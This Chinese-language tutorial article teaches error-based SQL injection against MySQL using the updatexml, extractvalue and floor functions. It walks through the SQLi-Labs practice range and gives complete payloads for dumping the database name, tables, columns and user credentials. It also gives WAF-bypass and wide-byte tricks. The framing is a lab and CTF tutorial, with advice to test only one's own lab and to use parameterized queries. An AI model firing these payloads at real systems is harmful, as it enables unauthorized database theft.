ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

SQL注入之报错注入原理与实战:从报错函数到靶场通关

SQL注入之报错注入原理与实战:从报错函数到靶场通关 1. 报错注入到底是啥先搞懂报错这个动作的本质很多人第一次听说报错注入的时候脑子里第一反应是数据库都报错了这不等于告诉管理员有人在搞事吗还能利用报错来拿数据我自己最开始也有这个疑问。后来在靶场里反复打了几次才明白报错注入的精髓恰恰就在于让数据库报错但这个错误不是白报的——报错信息里会携带着我们想查的数据。这就像你去银行柜台取钱柜员系统出错了把错误信息打在小票上递给你而这张小票上恰好印着别人的账户余额。在SQL注入这个大家族里报错注入属于有回显注入的一种。什么意思呢就是数据库的错误信息会直接回显到页面里我们只需要构造能让数据库产生特定错误的SQL语句让错误信息携带数据返回即可。比起盲注那种猜半天、全靠睡不睡得着判断的折磨报错注入效率高太多了。那这个技术现在还有没有用很多人会问现在还存在SQL注入漏洞吗说实话随着各种ORM框架、参数化查询的普及传统拼接SQL的注入点确实少了很多但在CTF比赛、老旧系统、API接口、或者一些没走预编译的复杂查询里报错注入依然是高频考点。靶场里的SQLi-Labs、Pikachu还有CTFHub技能树里都有专门的报错注入题。这篇我打算从原理到实操完整过一遍。先用一个看得见摸得着的类比讲清楚报错注入为什么能带出数据再把最经典的三大报错函数逐个拆开揉碎最后用SQLi-Labs靶场的实际关卡走一遍完整流程顺便把绕过思路也整理出来。建议你先建好一个自己的靶场环境跟着敲一遍这比看十篇理论文章都有用。1.1 报错注入的本质错误信息是数据管道要想理解报错注入得先搞清楚一个关键问题为什么数据库会老老实实把数据拼到错误信息里答案是因为SQL语句是拼接出来的。当开发者把用户输入直接拼进SQL语句的时候数据库会先去解析这条SQL然后执行。如果我们故意让SQL在解析阶段就出错数据库会返回一条包含了SQL语句片段或者某个表达式结果的错误信息而页面又把这条错误信息原样输出了于是数据就顺着这条错误管道溜出来了。过程拆开来看是这样正常用户访问页面输入一个ID比如?id1。后台执行SELECT first_name, last_name FROM users WHERE user_id$id。攻击者把$id换成 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT version()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --。数据库在执行这条SQL时产生主键冲突错误错误信息里包含着version()函数的执行结果。页面把错误信息显示出来比如Duplicate entry 8.0.21-1 for key group_key。有没有注意到第4步里我们故意让数据库报错但报错的同时也把数据库版本信息带了出来。这就是报错注入最核心的机制利用数据库函数执行SQL片段再把执行结果强制放进错误消息里。这个思路听起来很绕但打个比方就好懂了。想象你在公司走廊里大声喊了一句谁能告诉我老板出差去哪了正常情况没人理你。但是如果你是在开会的时候喊的主持人会指着你说请你出去——然后你借着被请出去这个动作也听到了旁边同事悄悄告诉你的答案。错误就是这个被请出去的动作函数就是那个旁边同事。1.2 有回显和无回显的区别为什么报错注入比盲注舒服SQL注入按回显方式分类大致可以分成三种有直接回显查询结果直接显示在页面上比如UNION SELECT。有报错回显查询结果不显示但数据库会报错错误信息里有查询结果。完全无回显报错也看不见页面一切如常只能靠真伪判断布尔盲注或时间延迟时间盲注。报错注入属于第二种算是不完美的有回显。它虽然不能像UNION注入那样直接把整个表的数据拉出来但比盲注舒服太多了。盲注是每次只能猜一个字符猜对不报错猜错就白屏一条数据往往要几十个请求。报错注入一次查询就能把一整个数据带上效率天差地别。但要注意报错注入有个天然的短板很多情况下一次最多只能带出一条数据或一个字段的内容。所以在数据量大的表里通常配合LIMIT或者GROUP_CONCAT来控制输出长度和数量。这些细节我们在后面实操部分会专门讲到。还要强调一句报错注入依赖的是报错信息原样返回这是页面配置的问题不是数据库的问题。有的网站开启了display_errors关闭或全局异常处理报错信息被吞掉那报错注入就使不上了只能切回盲注或者尝试其他注入方式。2. 三大报错函数Updatexml、Extractvalue 和 Floor各自怎么用报错注入里最常被提起的翻来覆去就三个函数updatexml()、extractvalue()和基于count()rand()group by的floor报错。这三个函数是报错注入的祖师爷级方案几乎每个靶场都有它们的影子。用它们之前得先看清楚MySQL的版本。这三个函数在MySQL 5.1以后的版本都可以用其中extractvalue和updatexml在MySQL 5.1到5.6时代最典型MySQL 8.0的部分版本里依然可用但某些版本会因为函数被禁用或行为变更失效实操时要注意测试。MariaDB的兼容性则参差不齐我自己在MariaDB 10.x上测试updatexml经常不报预期的错。另外多说一句floor报错在MySQL 8.0里基本废了因为RAND()相关的重复键行为变了很多所以现在过CTF题的时候老手会优先试updatexml和extractvalue再不行才用floor。2.1 updatexml(): 最稳的报错函数新手入门首选updatexml()是MySQL里用于修改XML文档的函数标准语法是UPDATEXML(xml_document, XPath_string, new_value)第一个参数传XML文档内容第二个参数是XPath路径第三个参数是替换值。正常情况下它拿第二个参数去第一个参数里找路径找到后把内容替换成第三个参数。它为什么会报错因为第二个参数要求必须是合法的XPath路径如果传进去的不是合法XPathMySQL就会直接抛错而且错误信息里会把不是合法XPath的那个值原样带出来。所以我们的注入思路就是把extractvalue或者updatexml的第二个参数位置换成一个拼接了子查询结果的字符串让它变成非法XPath触发报错错误信息里就会带上我们的数据。实操用法?id1 AND updatexml(1, concat(0x7e, (select database()), 0x7e), 1) -- -这里concat(0x7e, (select database()), 0x7e)拼出了一个以波浪号~开头的字符串波浪号不是合法XPath路径的开始符号于是数据库报错返回类似XPATH syntax error: ~security~注意我为什么在数据前后加了0x7e也就是波浪号的十六进制写法。因为如果查询结果是纯数字或者没有特殊前缀的字符串错误信息有时候会截断显示加了波浪号之后可以清楚地标出数据的起止位置也方便我们在杂乱的报错信息里一眼看到数据本体。这个习惯建议一上来就养成。updatexml一次最多能带出32个字符左右超过部分会被省略所以遇到长字段的时候要配合substr()分次截取。2.2 extractvalue(): 和updatexml几乎一样但参数顺序不同extractvalue()也是操作XML的函数作用是提取XML文档中指定路径下的值。标准语法EXTRACTVALUE(xml_document, XPath_string)它只有两个参数和updatexml的区别在于少了替换值的参数。报错机制一模一样第二个参数不合法就报XPath错误并带出值。注入写法?id1 AND extractvalue(1, concat(0x7e, (select table_name from information_schema.tables where table_schemadatabase() limit 0,1), 0x7e)) -- -返回错误XPATH syntax error: ~emails~extractvalue和updatexml的报错长度限制也差不多都在30多个字符左右。我用下来感觉updatexml在执行效率上稍好一点但两者本质无差哪个能用就用哪个。很多情况下你在这个站试updatexml报错出不来换个extractvalue反而通了所以两个都要会。还有个细节extractvalue报错内容里的数据同样会被截断所以拿长字段时要记住核心技巧——配合substr()分段取每次只截取一小段。2.3 floor报错count()rand()group by 的数学魔法floor报错跟前面两个完全不同它不涉及XPath而是利用了MySQL在group by操作时的一个随机行为冲突。核心语句长这样?id1 AND (select 1 from (select count(*), concat((select database()), floor(rand(0)*2)) x from information_schema.tables group by x) a) -- -拆解一下这一段在干嘛floor(rand(0)*2)每次取随机数0或1flooor向下取整。关键在于rand(0)使用固定种子0所以生成的随机序列是看似随机但实际固定的。concat((select database()), floor(rand(0)*2))把数据库名和这个0或1拼在一起。外层select 1 from (select count(*), ... group by x) a把拼好的值按x分组统计每组数量。MySQL在分组过程中会对x建立临时表如果x的某个值已经被写入临时表再插入相同值时会触发主键冲突报错信息里就会带上x的值——也就是我们拼进去的数据库名。为什么强调rand(0)而不是rand()因为种子固定序列可复现冲突概率大且稳定。用rand()不加种子的话序列每次不同冲突变成纯概率事件时灵时不灵。这个坑我亲眼见过不少人踩同一条payload多打几次结果不一样就是因为种子没固定。floor报错的实战语句?id1 AND (select 2 from (select count(*), concat((select user()), floor(rand(0)*2)) x from information_schema.tables group by x) a) -- -返回错误Duplicate entry rootlocalhost1 for key group_key注意到rootlocalhost后面的那个1了吗就是floor(rand(0)*2)产生的数字。这不是脏数据而是报错机制的一部分。如果你看着不顺眼可以把它去掉但去掉之后这个注入语句就失效了因为group by后面分组的值必须重复才能触发主键冲突。下面把三个函数放一个表格里对比方便记忆函数版本支持报错返回长度报错内容位置核心参数updatexmlMySQL 5.1约32字符XPATH syntax error: ...第2个参数为非法XPathextractvalueMySQL 5.1约32字符XPATH syntax error: ...第2个参数为非法XPathfloorMySQL 5.x--5.7可用8.0不稳较长Duplicate entry ...countrandgroup by 组合3. 实战环境准备本地靶场和Burp Suite的基本配置理论知识聊完了接下来进入实操环节。先把环境搭起来后面每一步你都可以亲手验证。没有环境全靠脑补的话看完就忘。3.1 推荐靶场SQLi-Labs 和 Pikachu我建议新手用一个叫SQLi-Labs的PHP靶场它把SQL注入的各个类型都分好了关卡从最简单的字符型到各种绕过都安排得明明白白非常适合一步一步刷。装起来也很简单它是基于PHPMySQL的放到本地Web环境即可运行。Windows下可以用phpstudy一键部署Mac或Linux下用Docker跑docker pull sqli-labs/sqlli-labs docker run -d -p 8080:80 sqli-labs/sqlli-labs运行后访问http://localhost:8080能看到关卡列表。除了SQLi-LabsPikachu靶场也值得一试。Pikachu是国内团队写的一个综合漏洞靶场里面SQL-Inject模块专门做了报错注入的练习环境而且它每种注入类型都有配套的原理说明很适合理解整个逻辑。Pikachu用PHPStudy部署就行不用额外装数据库。CTF方向的话CTFHub技能树里也有一整条SQL注入的题库从基础到进阶都有报错注入是其中一个固定专题。CTFHUB环境是线上开题的不用自己搭直接浏览器进去就能打适合在外面随时刷两道。3.2 必备工具Burp Suite 和浏览器的配合工具方面Burp Suite社区版就够用不用花钱上专业版。为什么推荐Burp而不是简单用浏览器因为报错注入的payload往往很长而且需要反复修改拼接浏览器地址栏对特殊字符有各种限制在Burp里改请求包则自由得多还能实时看到原始响应。基本用法打开Burp默认监听127.0.0.1:8080。浏览器设置代理走127.0.0.1:8080。访问靶场页面Burp里能看到经过的请求。把请求发送到Repeater在id1后面改payload。因为靶场是本地的建议把Burp的代理拦截关掉否则每跳转一个页面都要点一次Forward非常累。只需要在HTTP History历史记录里找到目标请求右键Send to Repeater就够了。浏览器方面Chrome或者Firefox都行。还有个小技巧是安装一个叫HackBar的插件Firefox版它的作用是在浏览器里直接编辑发送经过URL编码的请求比手动在地址栏里改方便很多。但Burp Repeater已经能满足绝大多数需求HackBar算是可选。3.3 环境自检判断注入点类型之前先做这三步到了靶场页面先别急着上payload。拿到一个注入点先做三件事加单引号判断?id1观察页面是否报错报错的话基本能确认存在SQL语法层面的注入。加注释尝试闭合?id1 -- -观察页面是否恢复正常。恢复正常说明单引号闭合成功这是字符型注入。加永恒真值判断?id1 and 11正常显示?id1 and 12异常显示。两次结果不同说明逻辑可以被我们控制。以SQLi-Labs的Less-1为例访问?id1会看到类似这样的报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0,1 at line 1这个报错信息里直接暴露了底层SQL片段的结构1 LIMIT 0,1说明查询语句大概是SELECT ... WHERE id$id LIMIT 0,1。这就是使用报错注入之前必须先做的摸底工作。4. 报错注入完整实操从数据库名一直到表数据这一步我们把报错注入从知道原理推向真正拿到数据。下面每一步都给出完整payload并且解释每一步的目的方便你不只是复制粘贴而是理解为什么要这么写。4.1 第一步获取当前数据库名payload?id1 AND updatexml(1, concat(0x7e, (select database()), 0x7e), 1) -- -Burp Repeater里点发送响应里能看到XPATH syntax error: ~security~数据库名就是security。这一步的意义是确认当前我们操作的库因为后面查表名的时候大部分情况下我们只对当前库感兴趣。如果updatexml报错被拦截或者不生效同上换成extractvalue?id1 AND extractvalue(1, concat(0x7e, (select database()), 0x7e)) -- -4.2 第二步获取当前数据库的所有表名拿到库名之后从information_schema.tables里取表名。一次只取一条用limit 0,1控制?id1 AND extractvalue(1, concat(0x7e, (select table_name from information_schema.tables where table_schemadatabase() limit 0,1), 0x7e)) -- -返回XPATH syntax error: ~emails~修改limit的偏移量来取下一张表?id1 AND extractvalue(1, concat(0x7e, (select table_name from information_schema.tables where table_schemadatabase() limit 1,1), 0x7e)) -- -依次取下去直到列出所有表名。SQLi-Labs的security库里有一张users表里面有用户名和密码字段。这里有个省事的小技巧可以用group_concat把多个表名拼在一行里一次带出但报错输出长度有限制表名太长会被截断。所以更稳妥的做法还是limit一条条拿多打几次请求好过信息被截断还得重来。4.3 第三步获取users表的字段名确定表名之后从information_schema.columns里查字段?id1 AND extractvalue(1, concat(0x7e, (select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1), 0x7e)) -- -返回XPATH syntax error: ~id~然后偏移取下一个字段?id1 AND extractvalue(1, concat(0x7e, (select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 1,1), 0x7e)) -- -返回~username~再往下是~password~。4.4 第四步获取字段里的数据字段名拿到了直接查数据?id1 AND updatexml(1, concat(0x7e, (select username from users limit 0,1), 0x7e), 1) -- -返回XPATH syntax error: ~Dumb~再查密码?id1 AND updatexml(1, concat(0x7e, (select password from users limit 0,1), 0x7e), 1) -- -返回XPATH syntax error: ~Dumb~到这里恭喜你已经完成了一次标准的报错注入全流程。从数据库名到表名到字段名再到数据整条链路都通了。4.5 子查询里的双层select嵌套怎么理解后台如果用的是参数化查询那不构成注入但我这儿说的嵌套是指在手动拼接SQL语句的场景下子查询本身就是一个独立的SELECT。很多新手会被(select ... from ...)套来套去绕晕我尽量拆得直白一点。以这条为例updatexml(1, concat(0x7e, (select table_name from information_schema.tables limit 0,1), 0x7e), 1)这里updatexml的第二个参数是一个concat(...)表达式而表达式里又内嵌了一个(select table_name ...)子查询。MySQL允许在表达式中使用标量子查询前提是子查询只返回一行一列。所以我们每次都用limit 0,1或limit 1,1来确保它只有一个结果如果直接不写limit子查询返回多行MySQL会直接报错Subquery returns more than 1 row这样反而什么数据都拿不到。理解这个逻辑之后你就不需要死记每个payload了。本质上都是查一条数据 - 拼上非法的前缀和后缀 - 塞到报错函数里 - 让错误信息带出来。5. 报错注入的绕过与常见坑WAF拦截、长度限制和函数失效前面算是理想环境下的常规打法。真实世界里你会遇到一堆哎呀怎么不通的情况。这些坑不是光看教程能学会的必须踩过才明白。5.1 WAF和过滤规则空格被拦怎么办常见的过滤有拦空格、拦注释符--、拦union、拦select。针对报错注入其实不太依赖union但select是查数据绕不开的关键词很多WAF会拦它。空格被拦的时候可以用注释符/**/或换行符%0a、Tab键%09来代替?id1/**/AND/**/updatexml(1,/**/concat(0x7e,(select/**/database()),0x7e),1)-- -select被拦的时候比较经典的绕法包括大小写混合SeLeCt只对大小写敏感的过滤器有效、内联注释/*!select*/MySQL特有的可执行注释、双重编码selselectect只对过滤了一次的规则有效。关键还是先判断WAF的类型。最简单的判断方式就是喂一个无害但特殊的内容比如id1 and 11看它拦截不拦截再逐步拆解这一步一步缩小范围。你不需要把所有绕法背下来但一定要掌握试错-观察-再试这个循环。5.2 报错输出被截断分次取数据是必备技能前面提到过updatexml和extractvalue一次最多显示大约32个字符具体和MySQL版本有关。MySQL 5.7 实测在30个左右。所以查长数据时必须用substr()分段。比如密码是40位的哈希分两次取?id1 AND extractvalue(1, concat(0x7e, substr((select password from users limit 0,1), 1, 30), 0x7e)) -- -取第31到第60位?id1 AND extractvalue(1, concat(0x7e, substr((select password from users limit 0,1), 31, 30), 0x7e)) -- -这里substr(str, start, len)的start是从1开始数的不是0。所以第二次截取从31开始。每次取30个字符大致算好总长度之后决定截几次就行。强烈建议大家取长字段时直接用这种分段策略别指望一口气拖完。5.3 函数失效MySQL版本和GPC转义的影响有些时候你payload写得没问题但就是不出数据。排查顺序我建议这样来先确认数据库版本。如果目标是MySQL 8.0floor报错基本没戏优先试extractvalue和updatexml。再确认是不是magic_quotes_gpc在作怪。老版本PHP默认开启GPC转义时单引号会被自动加上反斜杠导致SQL注入没法闭合。这时候可以采用宽字节注入绕过在单引号前加上%df%27利用MySQL的GBK编码把%df%5c合并成一个字符从而吃掉反斜杠。SQLi-Labs的Less-32到Less-35专门练这个。最后确认页面是否开启了报错显示。如果源码里写了error_reporting(0)或者把错误输出重定向到日志文件页面上什么都看不到那就只能换时间盲注或者想办法看日志了。5.4 老生常谈但重要报错注入能不能查多条数据很多人会问报错注入可不可以一次查出多条数据比如一次把username和password都带出来。答案是可以但受长度限制。可以借助concat把多个字段拼在一起?id1 AND updatexml(1, concat(0x7e, (select concat(username, :, password) from users limit 0,1), 0x7e), 1) -- -这样一次报错就能同时看到用户名和密码中间用冒号分隔。但别忘了拼起来的字符串一旦超过32个字符后半段会被截断。所以真遇到长数据还是老老实实分开查。6. 一次完整排查过程演示从报错到拿到库名纸上谈兵差不多了最后用一个完整的排查案例把所有知识点串起来。假设你在SQLi-Labs的Less-1里手上有Burp目标是拿到当前库名。6.1 测试注入点原始请求GET /sqli-labs/Less-1/?id1 HTTP/1.1 Host: 127.0.0.1发送后页面正常显示用户信息。接着测试GET /sqli-labs/Less-1/?id1 HTTP/1.1响应中出现SQL语法错误说明单引号介入导致SQL结构被破坏。再测试GET /sqli-labs/Less-1/?id1 -- - HTTP/1.1页面恢复正常说明注释符把后面的内容注释掉了确认闭合逃逸成功。6.2 确认列数和回显位置这一步其实是为UNION注入准备的但报错注入也需要先确认注入点在SQL中的位置以判断该用哪种注入。直接上order byGET /sqli-labs/Less-1/?id1 ORDER BY 3 -- -正常返回说明列数至少是3。继续试order by 4如果报错说明只有3列。列数不是报错注入的必要条件但做信息收集的时候顺带测一下能更完整地了解目标SQL结构。6.3 使用报错注入取库名确认是字符型注入后直接上报错payloadGET /sqli-labs/Less-1/?id1 AND updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -Burp响应里出现XPATH syntax error: ~security~数据库名security到手。6.4 排查注入不通的情况如果 payload 发过去之后页面没有任何变化也可能不是注入不存在而是别的原因。我把自己排查的思路整理成一个简单清单遇到问题照着走一遍检查项可能原因对策页面有没有报错报错显示被关闭改用时间盲注或查看日志单引号闭合方式闭合方式不同数字型、双引号、括号逐一测试引号类型和括号组合空格被过滤WAF或输入过滤用/**/、%0a、%09替代select被拦截WAF关键字过滤大小写混淆、内联注释、双重编码updatexml不报错版本不支持或函数禁用换成extractvalue或floor返回长度被截断报错输出上限约32字符用substr分次截取子查询返回多行没写limit或limit不生效加limit 0,1保证单行单列这张表是我实操里最常碰到的几类问题如果你能自己过程中把前几项都排掉那基本就能确定是不是真皮角了要么确实是闭合方式没找对要么确实是版本实在不支持。7. 写在最后关于报错注入的几点个人经验报错注入门槛不高但想用的熟我的体会是前期一定不要急着背payload先把为什么报错这个链条彻底搞明白。什么时候用concat、什么时候用floor、为什么加0x7e、为什么limit 0,1这些细节全部清楚了之后哪怕换一个新场景你也能自己组装出能用的语句。还有一个小技巧值得分享很多靶场里的题目可以同时用UNION注入和报错注入但报错注入往往能少探测好几轮尤其那种版面结构很怪、不知道回显位在哪里的页面报错注入可以直接绕过找回显的问题。遇到UNION半天测不出列数的情况不妨试试报错注入的思路往往会给你省下大量时间。最后测试注入请一定在你自己搭建的靶场环境里进行不要对未经授权的目标做任何测试。SQL注入在真实业务环境中的杀伤力极大理解它的目的是为了更好地防御——比如在写代码时坚持参数化查询、过滤特殊字符、关闭错误回显。攻和守从来都是一体两面能把原理讲清楚的人写出来的代码通常也更不容易被绕过。
返回列表